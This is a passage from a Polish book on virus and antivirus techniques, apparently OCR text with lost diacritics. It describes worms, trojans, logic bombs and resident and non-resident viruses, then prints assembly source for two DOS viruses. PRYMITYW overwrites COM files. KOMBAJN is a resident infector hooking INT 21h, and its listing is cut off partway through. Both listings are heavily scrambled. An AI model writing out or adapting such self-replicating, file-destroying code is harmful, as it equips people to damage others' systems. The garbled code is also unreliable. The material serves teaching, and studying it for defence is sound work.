pene, najczciej dobrze opisane rda w asemblerze, co umoliwia przecitnemu, ale zainteresowanemu pisaniem wirusw uytkownikowi, doksztacenie si w tej dziedzinie. Najbardziej znane generatory wirusw to: IVP (Instant Virus Production Kit), VCL (Virus Construction Laboratory), PS-MPC (Phalcon-Skism-Mass Produced Code Generator), G2 (G Squared) i NRLG (NukE Randomic Life Generator).

2.6. Robaki (ang. worms)Robak to program, ktrego dziaanie sprowadza si do tworzenia wasnych duplikatw, tak e nie atakuje on adnych obiektw, jak to czyni wirusy. Oprcz zajmowania miejsca na dysku program ten rzadko wywouje skutki uboczne. Podobnie jak wirusy towarzyszce, robaki najczciej pisane s w jzykach wysokiego poziomu. Robaki s najbardziej popularne w sieciach, gdzie maj do dyspozycji protokoy transmisji sieciowej, dziki ktrym mog przemieszcza si po caej sieci.

2.7. Konie trojaskie (ang. trojan horses)Ko trojaski nie jest wirusem komputerowym, ale ze wzgldu na swoje dziaanie (najczciej destrukcyjne) czsto bywa z nim utosamiany. Zasada dziaania koma trojaskiego jcst banalnie prosta. Uruchomio-ny, wykonuje niby to normaln prace, bezporednio wynikajca , przeznaczenia programu (np.: gra, demo, program uytkowy), lecz dodatkowo, niejako w tle, wykonuje jakies niezauwaalne dla uyt-kownika operacje, (najczciej po prostu niszczy - kasuje lub zamazu-je - dane na dysku twardym). Konie trojaskie najczciej przenosz sie w plikach udajcych nowe, popularne programy kompresujce (np.: PKZIP, ARJ. RAR) lub te udaj programy narzedziowe do obsugi dyskw.

2.8. Bomby logiczne (ang. logical bombs)O ile ko trojaski wykonuje brudn robot od razu po uruchomieniu, o tyle bomba swe destrukcyjne oblicze ukazuje tylko w okrelonym odpowiednimi warunkami czasie (najczciej zalenie od aktualnej daty lub liczby poprzednich wywoa programu). Ze wzgldu na to, i waciwy, destrukcyjny kod moe by ukryty w dowolnym miejscu programu zawierajcego bomb, naley ostronie obchodzi si z aplikacjami, ktrych pochodzenie jest nieznane. Mianem bomby okrela si czsto take destrukcyjny, uruchamiany tylko po spenieniu jakiego warunku, kod zawarty w wirusach.

ROZDZIA 33.1. Wirusy nierezydentne (ang. non-resident viruses)Wirusy nierezydentne s najprostsz odmian wirusw komputerowych zaraajcych pliki wykonywalne. Po uruchomieniu nosiciela poszukiwany jest, najczciej przy pomocy funkcji (4E/4F/21), kolejny obiekt do zaraenia. W

przypadku nie znalezienia adnego kandydata, sterowanie oddawane jest do nosiciela, w przeciwnym razie znaleziony plik jest infekowany. Ofiary poszukiwane s w biecym katalogu i/lub w katalogach okrelonych w zmiennej rodowiskowej PATH, i/lub w podkatalogach biecego katalogu, i/lub w katalogu gwnym. Z reguy wirus taki nie przejmuje adnego przerwania (ewentualnie na czas infekcji przejmowane jest przerwanie programowe 24h, ktre jest odpowiedzialne za obsug bdw krytycznych). Gwn wad wirusw nierezydentnych jest to, i poszukiwanie ofiar przy starcie programu wie si najczciej z duym opnieniem w uruchomieniu waciwego programu oraz atwo zauwaaln przez uytkownika wzmoon aktywnoci przeszukiwanego nonika. Drugim powanym mankamentem jest to, i zaraaj one tylko i wycznie po uruchomieniu nosiciela, a wic nie mog efektywnie infekowa plikw ani te skutecznie maskowa swej obecnoci w7 systemie, tak jak czyni to wirusy rezydentne. Wirusy nierezydentne s najczciej wypuszczane przez oszoomionych pierwszym sukcesem, pocztkujcych twrcw^ wirusw. O tym, jak prosto napisa najprymitywniejsz wersj wirusa nierezydentnego, niech wiadczy ponisza krtka sekwencja napisana w asemblerze. Po skompilowaniu otrzymujemy program, ktry po uruchomieniu szuka przy pomocy funkcji (4E/21) pierwszego pliku o rozszerzeniu COM w aktualnym katalogu i po ewentualnym jego znalezieniu przepisuje swj kod na pocztek ofiary. Wirus ten jest bardzo prymitywny w swym dziaaniu, gdy nieodwracalnie niszczy zaraany przez siebie plik (jest to wirus nadpisujcy), a take nie posiada adnej obsugi bdw (w przypadku nieznalezienia ofiary wirus "zainfekuje"... ekran). Jego wykrycie to kwestia bardzo krtkiego czasu (programy COM przestan "nagle" dziaa). ;---------------------------------------------------------------------------; ; ; ; ; ; ; ; ; PRYMITYW v1.0, Autor : Adam Blaszczyk 1997 Czesc ksiazki : "Nowoczesne techniki wirusowe i ; antywirusowe"

; ; nadpisujacy, ; ; ; ; ; Kompilacja : ; ; ; ; ; ; ; ;---------------------------------------------------------------------------; PRYMITYW SEGMENT ASSUME CS: PRYMITYW, DS:PRYMITYW ORG 100h WirDlug = Offset (WirKoniec-WirStart) ; WirDlug okresla dlugosc calego kodu wirusa TLINK /t PRYMITYW.OBJ TASM PRYMITYW.ASM w katalogu plik COM Prymitywny wirus nierezydentny ; atakujacy i niszczacy pierwszy znaleziony

WirStart: mov mov mov katalogu int mov mov DTA ; znajdujacym sie pod adresem CS:80h int 21h ; wywolaj funkcje ; przenies uchwyt pliku z AX do BX 21h ax,3D02h dx,9Fh ; wywolaj funkcje ; funkcja DOS - otworz plik do ; nazwa znalezionego pliku w buforze cx,20h ; atrybut poszukiwanej pozycji

katalogu (Archive) dx,Offset PlikiCOM ; szukaj plikow *.COM ah,4Fh ; funkcja DOS - szukaj pozycji w

odczytu i zapisu

xchg ax,bx mov mov mov int ret PlikiCOM db '*.COM' cx,WirDlug dx,100h ah,30h 21h

; podaj ile bajtow zapisac ; zapisuj spod adresu CS:100h ; funkcja DOS - zapisz do pliku ; wywolaj funkcje ; rownoznaczne z wykonaniem Int 20h ; maska dla poszukiwanych pozycji w

katalogu WirKoniec: PRYMITYW ENDS END WirStart

3.2. Wirusy rezydentne (ang. resident viruses)Autorzy wirusw szybko zorientowali si, e dziaajce tylko po uruchomieniu nosiciela wirusy nierezydentne maj do ograniczone pole manewru, std te poszukiwali Jakiego mechanizmu, ktry pozwalaby na nieprzerwane monitorowanie systemu operacyjnego. Z pomoc przyszli im niewiadomie sami autorzy systemu DOS, implementujc w typowo jednozadaniowym rodowisku mechanizm sztucznej wielozadaniowoci. Zasada dziaania wirusw rezyden-tnych polega bowiem na zainstalowaniu si w pamici operacyjnej komputera i przejciu odpowiednich odwoa do systemu w sposb podobny do tego, w jaki czyni to programy typu TSR (ang. Terminate but Stay Resident). W zasadzie typowy wirus rezydentny to program TSR, ktry po zainstalowaniu ukrywa swj kod przed programami przegldajcymi pami. Aktywny i jednoczenie ukryty w pamici, ma o wiele szersze pole manewru ni wirusy nierezydentne. Monitorowanie odpowiednich funkcji DOS i BIOS pozwala mu bowiem przy kadej dowolnej prbie dostpu na infekcj plikw lub sektorw. Moliwe staje si take zastosowanie techniki zaawansowanego ukrywania si w systemie (tzw. technika stealth, omwiona w dalszej czci opracowania). Zawadnicia systemem dokonuje si poprzez przejcie odpowiednich przerwa sprztowych i funkcji obsugiwanych przez oglnie dostpne przerwania programowe. Ze wzgldu na szybko mnoenia si wirusy rezydentne dziea si na szybkie intektory i wolne infektory. Poniej przedstawiono przykad prostego wirusa rezydentnego, infekujcego pliki COM podczas ich uruchamiania. ;---------------------------------------------------------------------------; ; ;

; ; ; ; ; ; ; ; ; ;

Czesc ksiazki : "Nowoczesne techniki wirusowe i ;

antywirusowe"

KOMBAJN v1.0, Autor : Adam Blaszczyk 1997

Prosty wirus rezydentny plikow COM Infekuje pliki z atrybutem Archive, ReadOnly, ; Przejmuje przerwanie 21h Przejmuje przerwanie 24h na czas infekcji

System, Hidden ; ; ; ; ; ; ; Kompilacja : ; ; ; ; ; ; ;

TASM

KOMBAJN.ASM

TLINK /t KOMBAJN.OB J

;---------------------------------------------------------------------------; JUMPS KOMBAJN SEGMENT ASSUME CS:KOMBAJN, DS:KOMBAJN ORG 100h Haslo czy wirus jest Odpowiedz = 0CABAh w pamieci NUL = 00h LF CR AtrReadOnly AtrHidden AtrSystem atrybutow AtrVolumeID AtrArchive VRok VMiesiac = 00001000b = 00100000b = 1998 = 13 ; ; ; / ; \ ; data opisujaca - pliki juz / / pozycji katalogu AtrDirectory = 00010000b = 0Ah = 0Dh = 00000001b = 00000010b = 00000100b ; \ ; ; / ; \ ; ; \ \ rozne stale - stale znakow ; / juz zainstalowany = 0BACAh ; \ do sprawdzenia,

zainfekowane VDzien VZnacznik = 31 ; /

= (VRok-1980)*512+VMiesiac*32+VDzien

DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa) DlugoscWPamieci = (DlugoscWirusa +31)/16 Start: PoczatekWirusa: Call Trik: pop sub si si,103h ; zdejmij ze stosu ; oblicz ofset do Trik ; poczatek wirusa ; pomocnicza etykieta ; zapisz na stosie

relatywny ofset

relatywny ofset poczatku wirusa mov jest int cmp 21h ax,Odpowiedz ; / juz w pamieci ; \ czy kopia wirusa ax,Haslo ; \ sprawdz, czy wirus

odpowiedziala ? jne komunikat lea call jmp nosiciela InstalacjaWPamieci: lea wirusie Call lea Call Call jc DrukSI di,TeInstalacja DrukSI Decyzja PowrocDoNosiciela ; / ; \ ; ; zapytaj \ zainstalowac / di,TeCopyRight ; poczatek instalacji ; \ wyswietl info o di,TeBylZainstalowany DrukSI PowrocDoNosiciela ; ; / / InstalacjaWPamieci ; / NIE - zainstaluj ; TAK - wypisz

; i powroc do

uzytkownika, czy chce wirusa w pamieci ; / CF=1 - uzytkownik

nie chce instalowac mov int ax,3521h 21h ; funkcja DOS - wez ; wywolaj funkcje

adres INT 21

mov mov mov mov dec mov mov sub

[si][Stare21Seg],es [si][Stare21Ofs],bx ax,ds es,ax ax ds,ax bx,word ptr ds:[0003h] bx,DlugoscWPamieci+1

; \ zachowaj adres ; / uzywal) ; przywroc ES ; AX=ES=DS=CS=SS=PSP ; AX=ES-1=MCB do ; DS=blok MCB ; wez dlugosc ; zmniejsz go o

(wirus bedzie go

aktualnego bloku

aktualnego bloku dlugosc wirusa mov int mov mov int jc ah,4Ah 21h bx,DlugoscWPamieci ah,48h 21h PowrocDoNosiciela ; funkcja DOS - zmien ; wywolaj funkcje ; podaj dlugosc ; funkcja DOS ; wywolaj funkcje ; CF=1 - nie udalo sie

rozmiar bloku pamieci

wymaganego bloku pamieci przydzial bloku

przydzielic mov xor skopiwoac cld REP MOVSB push add kopiowac mov kopiowac rep pop ofset mov dec wirus mov mov ds,ax word ptr ds:[0001h],0008h ; DS=MCB wirusa ; ustaw MCB wirusa, ax,es ax ; pobierz adres do MCB ; blok, w ktorym jest movs byte ptr es:[di], cs:[si] si ; kopiuj z CS:SI do ; przywroc relatywny ES:DI, CX bajtow cx,DlugoscWirusa ; cx=ile bajtow si si,offset PoczatekWirusa ; SI bedzie zmieniany, ; dodaj ofset : skad ; zwiekszaj SI, DI w es,ax di,di ; ES=wskazuje na ; ES:DI - dokad

przydzielony blok

wiec zachowaj

opisujacego

jako systemowy sub 10h mov ds,ax ; ; danych jak w ; / COM (ORG 100h) mov mov int push pop pamieci lea ktorym Call mov DrukSI ax,es ; ; ; / / / rezyduje wirus di,TeZainstalowany ; \ i segment, w dx,Offset NoweInt21 ax,25FFh 21h cs ds ; DX=adres do nowej ; funkcja DOS - ustaw ; wywolaj funkcje ; \ ; \ wyswietl instalacji w zwyklym programie \ sztuczka, dzieki / odwolywac sie do ktorej mozna ax,0Fh ; \ DS=adres bloku-

procedury INT 21h adres INT 21

komunikat o

Call DrukHEX16

PowrocDoNosiciela: push pop mov mov mov mov mov slad do push xor xor rejestry xor xor xor xor ret cx,cx dx,dx si,si di,di ax ax,ax bx,bx cs cs ds es al,byte ptr [si][StareBajty] ds:[100h],al ax,word ptr [si][StareBajty+1] ds:[101h],ax ax,100h DS=ES=CS=PSP

; ; \ przywroc ; / ; \ ; ; ; / ; \ zachowaj na stosie ; / adresu 100h ; \ ; ; ; ; ; / ; powroc do nosiciela / \ dla lepiej wyzerowac \ robocze / przywroc 3 \ programu pod /

poczatkowe bajty adresem CS:100h

bezpieczenstwa

PytanieOInstalacje: rezydujacego xchg iret NoweInt21: cmp je infekowac cmp je ax,Haslo PytanieOInstalacje ax,4B00h InfekcjaPliku al,ah

; \ ; ; /

odpowiedz - wirusa na w pamieci

pytanie, czy jest

; czy funkcja DOS ; TAK - sprobuj ; czy pytanie wirusa o ; TAK - odpowiedz ze

uruchom program ?

instalacje ? zainstalowany jmp lancucha ; przerwan InfekcjaPliku: push rejestry mov cs:StaryDS, ds ; \ zachowaj adres do es ds ax bx cx dx si di ; zachowaj zmieniane PowrotZInt21 ; idz do poprzedniego

nazwy pliku mov mov i ustaw Call obslugi mov mov ochrony ; ewentulanymi bledami push pop lea mov Call mov pliku mov dx,cs:StaryDX ; podaj nazwe pliku cs ds dx,NoweInt24 ax,2524h StareInt21 ds,cs:StaryDS ; ; ; ; ; / / / / / (np; podczas na zapisem zostanie ARIF) proby zapisu zabezpieczonej przed dyskietce, nie wywolany dialog \ przed cs:Stare24Seg,es cs:Stare24Ofs,bx ; ; \ \ przerwania INT 24h w celu krytycznego StareInt21 ; \ nowa procedure cs:StaryDX, dx ax,3524h ; / ; \ pobierz stara

; DS=wskazuje na nazwe

mov atrybut Call jc

ax,4300h StareInt21 PrzywrocAtrybut

; funkcja DOS - czytaj ; wywolaj stare ; gdy CF=1, to blad,

przerwanie 21h wiec powrot mov mov atrybut mov Archive Call jc mov plik ; do odczytu i zapisu Call jc xchg StareInt21 PrzywrocAtrybut ax,bx ; wywolaj stare ; gdy CF=1, to blad ; przenies uchwyt przerwanie 21h StareInt21 PrzywrocAtrybut ax,3D02h ; funkcja DOS - otworz ; wywolaj stare przerwanie 21h cx,AtrArchive ; podaj nowy atrybut : cs:Atrybut,cl ax,4301h ; wez stary atrybut ; funkcja DOS - zapisz

pliku do BX

mov date, czas Call mov na pozniej cmp je powrot push wirusa pop mov bajtow lea bajty mov z pliku Call jc

ax,5700h StareInt21 cs:Czas,cx

; funkcja DOS - wpisz ; wywolaj stare ; zachowaj czas pliku

przerwanie 21h

dx,VZnacznik ZamknijPlik

; czy plik jest juz ; TAK - zamknij plik,

zainfekowany ?

cs ds cx,3 dx,StareBajty ah,3Fh StareInt21 ZamknijPlik

; \ DS=CS=segment ; / ; ilosc czytanych ; podaj dokad czytac 3 ; funkcja DOS - czytaj ; wywolaj stare ; gdy CF=1, to blad

przerwanie 21h

mov cmp nie EXE je cmp je

ax,word ptr [StareBajty] ax,'MZ' ZamknijPlik ax,'ZM' ZamknijPlik

; wez dwa pierwsze ; i sprawdz, czy to ; gdy "MZ", to plik ; ; gdy "ZM", to plik

bajty pliku

EXE, powrot

EXE, powrot xor xor mov wskaznik ; odczytu/zapisu na koniec pliku Call jc StareInt21 ZamknijPlik ; wywolaj stare ; gdy CF=1, to blad ; DX=starsza czesc dlugosci pliku or dx,dx ; czy plik krotszy niz przerwanie 21h cx,cx dx,dx ax,4202h ; \ zeruj CX:DX ; / adres wzgledem ; funkcja DOS - zmien

zawierajace konca pliku

65536 ? jnz cmp ? jmp cmp jb sub mov ZamknijPlik ax,3 ZamknijPlik ax,3 word ptr [Skok+1],ax ; nie - nie infekuj ; czy dlugosc >= 3 ? ; nie - nie infekuj ; odejmij dlugosc ; zapisz do bufora ZamknijPlik ax,64000 ; nie - nie infekuj ; czy dlugosc = 3 ; nie - szukaj ax,64000 SzukajNastepnyPlik ; czy dlugosc